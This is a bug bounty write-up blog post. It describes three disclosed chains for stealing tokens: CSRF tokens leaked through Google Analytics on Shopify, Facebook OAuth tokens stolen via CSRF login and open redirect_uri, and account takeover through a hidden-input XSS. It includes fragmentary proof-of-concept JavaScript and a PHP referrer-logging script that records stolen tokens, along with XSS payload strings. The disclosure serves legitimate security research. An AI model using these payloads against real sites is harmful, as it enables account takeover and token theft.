folder Filed in General, Write Ups
Let's steal some tokens!
Mahmoud Gamal comment One Comment access_time 9 min read

Hey There, How you doing?

Good? Cool!

In this blog post I will be talking about my experience with minor bugs chained together to steal sensitive tokens.

#1. Stealing CSRF tokens through Google Analytics.

While randomly testing things on, I landed at some random app page and hit the Write a review button, I wasn’t logged in so I was redirected to the login page and after logging in I was redirected to the application page again. Ok, that’s normal. However, what wasn’t normal is that the URL I got redirected to contained this GET parameter authenticity_token=[CSRF_TOKEN].


I know Shopify allow you to add rich text to your application’s description,so I just thought I will load an image from my server and get the token from the referer header, or add a link to it and trick the victim to click it.

Yup, that didn’t work, the only tags allowed were:

<a> <b> <blockquote> <h2> <h3> <i> <li> <ol> <p> <ul>

If only external images were allowed, I would be able to add an image like <img src=//myserver/log.php> then log the referrer header, but unfortunately it wasn’t. Also, `<a>` tag was not working (maybe some server error?), whatever I didn’t want to steal the token with it anyway .. it would require too much user interaction.

Anyways, after checking the other options you can edit for your application page I found that you can actually add your own Google Analytics tracking code and I got the idea to steal the token through Google Analytics which I did And it worked!

The report is publicly disclosed in:

#2. Chaining minor bugs to steal facebook codes

I have more that an example on this type of bugs, one of them is already publicly disclosed on HackerOne here: it will give you the idea about how this kind of bugs work.

I have found a number of minor security vulnerabilities with no impact that when chained together will lead to an attacker being able to steal the current user’s facebook access token provided for

  • In, users register with their shopify account and the products in their store appear in Priority Products section.
  • When a user tries to edit a priority product, the submitted request will contain the product image url as a POST parameter.
  • Users can set their product image to anything, for example will be accepted and added as the product image.
  • Now each time the user visits, the page will request as an image.
  • In https://[shop] there is no validation for the authenticity token, so there is a CSRF at the login endpoint (which has no impact at all)
  • Users of are authenticated automatically by visiting the endpoint which redirects to then they are redirected back to and logged in.
  • Current redirect_uri configuration for Kitcrm facebook oauth application allows redirection to<ANYTHING>

Chaining all of what I mentioned above together, here is how an attacker will be able to steal users’ facebook access tokens:

  • An attacker registers a shopify store and then uses it to register a account.
  • After that he modifies his priority product image url to
  • Then he tricks the victim into visiting a specially crafted HTML page that will:
    • CSRF login the victim into the attacker’s store
    • CSRF login the victim into
    • Redirect the victim to will redirect him back to[fb_token]
  • After the victim is redirected from facebook to, a request will be sent to with the code returned from facebook in the referrer header.
  • Now the attacker can store the token at his server and use it to access the user’s facebook account.

PoC Code:


window.onload = function () { 
  window.setTimeout(function() {
              document.getElementById("token").innerHTML = "<iframe src=''></iframe>";   
          }, 5000);
          window.setTimeout(function() {
          }, 10000);
finished = 0;
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200 && this.responseText.length > 0) {
     document.getElementById("token").innerHTML = "<b>Your access token is: <br></b>" +this.responseText;
     finished = 1;
function fetchToken(){"GET", "tokens.log?"+Math.random(), true);
 if (finished == 1){
var interval = setInterval(function(){ fetchToken() } , 10000);
<h4>If no window was opened click <a href="" target="_blank">here</a>: 

<div id="token"><h3>Your access token should appear soon.....</h3></div>
<iframe src='data:text/html,<form action="" method="post">
<input name="utf8" value=""><input name="redirect"><input name="highlight=><input name="subdomain" value=zh5409><input name="login" value=███><input name="password" value=P@SSW0RD><input name="[remember]" value=1>
<div id="csrf_login"></div>


header("Access-Control-Allow-Origin: *");
$referrer = $_SERVER['HTTP_REFERER'];
$token = substr($referrer, strpos($referrer, "=") + 1);    
$fp = fopen('tokens.log', 'w');
fwrite($fp, $token."\n");

Mitigation of this vulnerability is pretty simple, Shopify just set their facebook oauth application redirect_uri to the exact callback endpoint and removed the domain from the white list.

#3. Silly XSS to Account take over

This is a private program so I won’t be mentioning anything about the vendor.

Ever heard of a silly XSS?

IMO, a silly XSS is either a XSS that works in outdated browsers only or a XSS that requires too much user interaction to be exploited.

In my case it was XSS in a hidden <input> tag ..  So, I had my payload added like <input type="hidden" name="foo" value="[XSS]"> and < was removed str_replace($payload,'<' , ''), I tried to bypass that but no luck.

The guys at Portswigger wrote an article about XSS in hidden <input> fields here .  It concludes that we can XSS using <input type="hidden" accesskey="X" onclick="alert(1)"> and the onclick event will be triggered once the victim presses ALT+SHIFT+X , but that’s too much user interaction (silly XSS) and probably won’t be granted a bounty or even accepted.

I tried my luck to find a new way to XSS in hidden fields myself, tried things like x "style="display:block !important;visibility: visible!important; -moz-visibility: visible !important;width:1000px; height:1000px; background:black;" onmouseover="alert(1)" x but no luck since the browser can’t give an input with type hidden a width or a height as mentioned in

so I tried to change the type attribute to anything other than “hidden” e.g: x" type=text onmouseover=alert(1) x but the browser will ignore the duplicate attribute I just added and will only consider the first one.

One of the things I tested when trying to find a way to XSS this locally was x" type=image src= x which actually issued a request to `` even though the type was still `hidden`!! I tested the same in firefox but it didn’t request anything, so the first thing I thought of was to report this to Google but after searching a little bit I found that it was already reported and they didn’t consider it, you can read the full report here.

So due to the fact that we can request any external resource through the targeted website and the website has an option for users to login using third party services such as WeChat, all what I had to do is to set the `redirect_uri` parameter to `https://vulnerable/path/to/xss/payload` and once the user completes the login process through the third party, he will be redirected to https://vulnerable/path/to/xss/payload where I have the injected HTML that will send the `code` returned from WeChat to my server and I can use that code to login to the victim’s account.

That’s it for today, feel free to ask any questions or drop me a tweet @Zombiehelp54

Building a website? Or already built a one? Worried about your security? Think twice before going public and let us protect your business!

Facebook Let's Shopify some steal tokens

Leave a Reply

Your email address will not be published. Required fields are marked *

Cancel Post Comment

Translate this blog